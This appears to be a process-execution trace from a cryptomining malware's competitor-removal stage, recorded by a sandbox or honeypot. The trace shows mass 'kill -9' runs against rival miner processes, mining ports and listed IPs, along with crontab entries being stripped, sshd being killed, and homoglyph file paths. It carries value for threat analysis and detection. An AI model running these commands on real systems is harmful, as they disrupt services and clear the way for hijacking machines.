[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/slabinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/softirqs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/stat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/swaps]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/sys]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysrq-trigger]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysvipc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/thread-self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/timer_list]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/tty]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/uptime]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmallocinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/zoneinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ps

[ps aux]

/bin/grep

[grep /dot]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f hezb]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep tracepath]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f /tmp/.out]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./ll1]

/bin/ps

[ps aux]

/bin/grep

[grep -i [a]liyun]

/bin/ps

[ps aux]

/bin/grep

[grep -i [y]unjing]

/bin/ps

[ps aux]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep php-fpm pool www]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep Cli start accept]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep bash -k]

/bin/ps

[ps aux]

/bin/ps

[ps aux]

/bin/grep

[grep perfctl]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 185.71.65.238]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep 140.82.52.87]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 207.38.87.6]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 23.94.214.119]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 34.81.218.76:9486]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /192.81.212.13/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /python/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shm/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /postgresql/d]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /cloudfronts/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sshd/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /neoogilvy/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /rsync/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bpdeliver/d]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /perfcc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/usr/bin/pkill

[pkill -f sshd]

/usr/bin/pkill

[pkill -f htop]

/usr/bin/pkill

[pkill -f linuxsys]

/usr/bin/pkill

[pkill -f kthreaddo]

/usr/bin/pkill

[pkill -f donkey]

/usr/bin/pkill

[pkill -f sysupdater]

/usr/bin/pkill

[pkill -f php-update.service]

/usr/bin/pkill

[pkill -f update-setup]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :1414]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :143]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :2222]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3333]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :3389]

/bin/grep

[grep :4444]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :5555]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :6666]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :6665]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/bin/grep

[grep :6667]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :7777]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :8444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3347]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :14444]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :14433]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/bin/grep

[grep :13531]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/11]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/11]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/22]

/bin/sed

[sed -i s/^0// /tmp/.systemd.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.1]

/bin/sed

[sed -i s/^0// /tmp/.systemd.2]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.2]

/bin/sed

[sed -i s/^0// /tmp/.systemd.3]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.3]

/bin/cat

[cat /tmp/.systemd.1]

/bin/cat

[cat /tmp/.systemd.2]

/bin/cat

[cat /tmp/.systemd.3]

/bin/sed

[sed -i s/^0// /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/bin/sed

[sed -i s/^0// /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/bin/sed

[sed -i s/^0// /data/./oka.pid]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./udp]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep ./oka]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep postgres: autovacum]

/bin/ps

[ps aux]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v proxymap]

/usr/bin/awk

[awk length($1) == 8]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v kinsing]

/bin/ps

[ps ax -o command,pid -www]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/usr/bin/awk

[awk length($1) == 16]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/ps

[ps ax -o command,pid -www]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk length($5) == 8]

/bin/grep

[grep -v (]

/bin/grep

[grep -v \[]

/bin/ps

[ps ax]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/sscks]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep sleep 60]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./crun]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/grep

[grep -vw kdevtmpfsi]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep :3333]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep :5555]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep kworker -c\]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep log_]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep systemten]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep netns]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/local/sbin/kill

[kill -9 10]

/usr/local/bin/kill

[kill -9 10]

/usr/sbin/kill

[kill -9 10]

/usr/bin/kill

[kill -9 10]

/sbin/kill

[kill -9 10]

/bin/kill

[kill -9 10]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep voltuned]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep darwin]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/dl]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/ddg]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/pprt]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep /tmp/ppol]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep /tmp/65ccE*]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/jmx*]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/2Ne80*]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep IOFoqIgyC0zmf2UR]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs
